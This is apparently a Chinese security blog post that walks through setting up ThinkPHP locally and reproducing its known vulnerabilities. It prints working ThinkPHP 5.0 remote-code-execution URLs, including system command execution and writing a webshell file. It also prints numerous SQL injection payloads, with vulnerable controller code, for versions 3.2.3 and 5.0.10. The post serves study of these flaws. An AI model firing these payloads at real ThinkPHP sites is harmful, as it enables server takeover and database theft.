TP框架漏洞复现(持续更新)

TP框架漏洞复现

tp起手:下载安装,漏洞复现

下载安装

tp源码在这:

https://www.thinkphp.cn/down.html

但b站说官方已经不提供源码下载了,要手动composer或者git

composer安装

连的是php7.4.3的exe

image-20211226164411880

环境搭好是这样

image-20211226164749346

tp6
composer create-project topthink/think=6.0.x-dev tp
tp3.2.3

官网下载,已经下载到本地了

tp5.0.10
composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10

链接: http://www.paijuanxing.online/2021/05/15/thinkphp5.0.10/

改一下composer.json

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.10"
},

然后

composer update

连数据库

create database tpdemo;
use tpdemo;
create table users(
	id int primary key auto_increment,
	username varchar(50) not null
);
insert into users(id,username) values(1,'mochazz');

tp的config的配置

image-20220125230220546

tp常识

tp5以tp5.1为正式版,其他都在测试中,目前最新的是tp6

主页在public/index下面,因为到时候绑定域名可以直接绑public/index,其他目录无法访问更安全

URL模式
http://serverName/index.php/模块/控制器/操作/参数/值

这种访问属于URL模式中的PATHINFO模式

image-20220126102436190

更改URL模式的文件在Thinkphp/Conf/convention.php

  • 普通模式:

    url?m=xxx&c=xxx&a=xxx&var=value

    例子:http://localhost/?m=home&c=user&a=login&var=value

  • PATHINFO模式:

    xxxxx/model/controller/action/var/value

    例子:http://localhost/model/controller/action/var/value

    比如说访问入口文件http://127.0.0.1/thinkphp_3.2.3_full/index.php/Home/Index/index

    PATHINFO地址的前三个参数分别表示模块/控制器/操作。

    不过,PATHINFO模式下面,依然可以采用普通URL模式的参数方式,例如: http://localhost/index.php/home/user/login?var=value 依然是有效的

    我们还可以支持下面的URL访问: http://localhost/index.php/home-user-login-var-value

  • Rewrite:

    http://localhost/home/user/login/var/value

  • 兼容模式:

    http://localhost/?s=/home/user/login/var/value

tp3控制器

控制器是一个抽象的概念,它代表的是xxxController.class.php和该文件下面的xxxController这个类。这个控制器类包含了需要调用的方法。控制器的作用是存储函数,时刻准备被人调用

如何调用这些方法呢

A方法:一开始先在/Home/Controller目录下面写个控制器和它的方法(就是写个xxxController.class.php并在该文件中写xxxController类,在类中写方法),然后跑到IndexCotroller去调用它:

    public function getUserIndex(){
        $newuser = A('User');  //理解为new了一个类
        $newuser->index();
    }

所以看到A方法要知道去审计它的控制器

R方法:更简单

    public function getUserIndex(){
        $newuser = R('User/index');
    }
传递参数

I(’’,’’,’’)

image-20220126174815488

举例

I(‘get.id’) //返回get传入参数id的参数值

image-20220126175004850

漏洞复现

可以看这篇博客复现tp漏洞:https://paper.seebug.org/1377/#42thinkphp-5x-1(含有有tp 2.x/3.0 , tp5.x)(tp5.0已分析源码)

起手:去看控制器:

application/index/controller/Index.php

调试的思路

首先想这个函数可能的诱发漏洞的原因:比如说rce想到call_usr_func;sql注入想到sql语句拼接的时候没有waf没有转义没有预处理(pdf)

其次善于使用step over ,先看一看各个参数的变化,找到漏洞代码的区间

然后锁定区间,重新刷新浏览器准备再调试一次,但是这次要step into进入到区间内

之后不断递归下去,直到感觉很迷茫,似乎找不到漏洞代码

这时候就拨乱反正:读他丫的,弄懂功能(也可以跳出来宏观整体)

直到 找到诱发漏洞的原因(可以是一些函数或者一些)

或者 调完整个过程

然后如果是sql可以对照一下正常的情况是怎么样的,对比学习!

收获:

  • 对代码的熟悉度,尤其整条链的函数要大致记住,下次遇到类似的要联想得到,然后直接上payload

tp5.0漏洞利用(rce)

官方手册序言 · ThinkPHP5.0完全开发手册 · 看云 (kancloud.cn)

  • system()

paylaod:

http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 通过phpinfo

payload:

http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  • 写入shell(自行把phpinfo换成一句话木马)

payload:

http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20phpinfo()?^%3E%3Eshell.php
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

Tp5 sql

[(84条消息) 复现]Thinkphp5系列漏洞_kuuhh的博客-CSDN博客_thinkphp5漏洞

tp5.0.10 sql注入

当你这么写的时候

public function index(){        $username = request()->get('username');        $result = db('users')->where('username','exp',$username)->select();}

payload:

public/index.php/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)--+user

当你这么写的时候

        $username = request()->get('username/a');        $result = db('users')->where(['username' => $username])->select();        print_r($result);
s强制转换为字符串类型
d强制转换为整型类型
b强制转换为布尔类型
a强制转换为数组类型
f强制转换为浮点类型

payload

payload:username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,user()%23

feng师傅这篇写得很好(84条消息) Thinkphp 5.0.10 SQL注入_feng的博客-CSDN博客_thinkphp注入

tp3漏洞

资料

可供学习的视频:PHP进阶教程从零基础入门到掌握面向对象编程【黑马程序员精品教程】_哔哩哔哩_bilibili

tp3开发手册:基础 · ThinkPHP3.2.3完全开发手册 · 看云 (kancloud.cn)

sql漏洞

where注入(where语句)

先丢一个错误的参数值进去,然后看着它的报错来闭合括号(一般会选择报错注入)

    public function test1(){        $data = M('users')->where('id='.I('get.id'))->select();        dump($data);    }

image-20220126215837664

这里直接给调好的payload

updatexml

id/1)and%201=(updatexml(1,concat(0x3a,(user()),0x3a),1))%23

image-20220126181400449

union 联合查询

/id/1)union%20select%201,2,3%23

image-20220126181322946

漏洞形成:简单来说就是没有过滤

如何修改才安全:

方法1

    public function test2(){        $user = M('users');        $map['id'] = I('id');        $data=$user->where('id='.$map)->select();        dump($data);    }

image-20220126221603385

采用先实例化对象的思路,这样即便用户输入了恶意的id参数,系统也会强制类型转化

方法2(官方手册写的,未验证)

where方法使用字符串条件的时候,支持预处理(安全过滤),并支持两种方式传入预处理参数,例如:

$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();// 或者$Model->where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)->select();
table注入(表名)

漏洞代码

    public function test3(){        M()->table(I('tab'))->where('1=1')->find();    }

错误核心是Tp无论输入的table是什么,都会先执行show column的操作判断有没有错误之后再执行select

如果像下面那样输入,那么show column就为True,之后select就会执行恶意语句了

payload:

tab/phpthink_users%20where%201=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

image-20220126231748738

field注入(字段名)

field的用法要提一下:

$data = M('users')->field('id')->select();//select id from users;dump($data)

image-20220127183735253

当有多个字段时,它可以直接写在括号里,也支持数组传输

$data1 = M('users')->field('id,username')->select();$data2 = M('users')->field(array('id','username'))->select();//select id,username from users;

image-20220127184559562

别名的使用

$data1 = M('users')->field(array('id','username'=>'uname'))->select();//select id,username as uname from users;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g8fjFQrM-1645804809477)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127185040240.png)]

倘若字段名的别名可控

$data1 = M('users')->field(array('id','username'=>I('name')))->select();

image-20220127185721933

payload

test4/name/asas from `phpthink_users` where  1=updatexml(1,concat(0x3a,(user())),1)#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-39o0kX8x-1645804818020)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127185935122.png)]

直接就可以注入,攻击思路是自己制造正确的sql语句闭合前面的语句。

当然了,如果是字段名可控的话,按照这种思路下去也是可注入的

test4/name/count(*) from `phpthink_users` where  1=updatexml(1,concat(0x3a,(user())),1)#

不过使用count(*)的闭合比较取巧,因为这个地方想要闭合必须排除,的干扰,意味着我们必须写字段,但是我们又不知道字段名,所以用count

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wpPP9upg-1645801010044)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127190324813.png)]

aliens-union-join注入

可以写个正则来找

->(aliens|union|join).*\((\$|\$_|I)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LxX0tA7O-1645801010045)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220127193149988.png)]

利用方法类似上面几种

order groupby having注入

当表名错误的时候

漏洞代码

$data = M('user')->field(array('username','password'))->order(array('id'=>I('xu')))->select();

payload(那里的逗号是要的)

,(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(user())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23

漏洞就是底层sql都拼在了一起

$data = M('users1')->field(array('count(score)'))->group(I('xu'))->select();

payload

(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(user())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23
comment注入

条件:紧随着where之后,comment函数参数可控(本地复现失败)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GmHDwk5x-1645801010045)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129170606637.png)]

payload

aaaa*/procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23

image-20220129170552445

query count execute 注入 (当聚合函数可控时)

漏洞原理、漏洞利用和字段注入是一样的

payload:

id) AS tp_count FROM `phpthink_users` where%201=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aDXvZAIa-1645801010046)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129174813511.png)]

exp注入(传数组)

tp支持表达式(exp)查询,用法一句话概括就是tp的sql函数的参数可以使用键名为 字段名 值为array(‘表达式’,‘操作数’)

$map['字段名'] = array('表达式','查询条件');//接着再把$map传到where()这样的函数这个括号里面就行了

例子

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vRGTXSWP-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129185521500.png)]

但是这里表达式可选的东西很多,其中有个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-06q7lI9F-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129193555055.png)]

只要用户传入数组的‘表达式’是exp,如果后面’查询条件’还可以控制的话,那么就直接是恶意sql语句执行了

漏洞代码

        $tiaojian = array();        $tiaojian['id']=$_GET['id']; 		//‘表达式’,'查询条件'都可控        $data = M('users')->where($tiaojian)->find();

payload

id[0]=exp&id[1]==11 and 1=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qxzxf7h-1645801010047)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129193743762.png)]

tp在执行update语句时,如果需要使用到setInc函数,而该函数没有检查步长

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pWNnmHsV-1645801010048)(https://raw.githubusercontent.com/hmt38/abcd/master/image-20220129191842781.png)]

payload

5 where (id=5) and 1=1%20and%201=updatexml(1,concat(0x3a,(user())),1)%23

image-20220129192929538

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值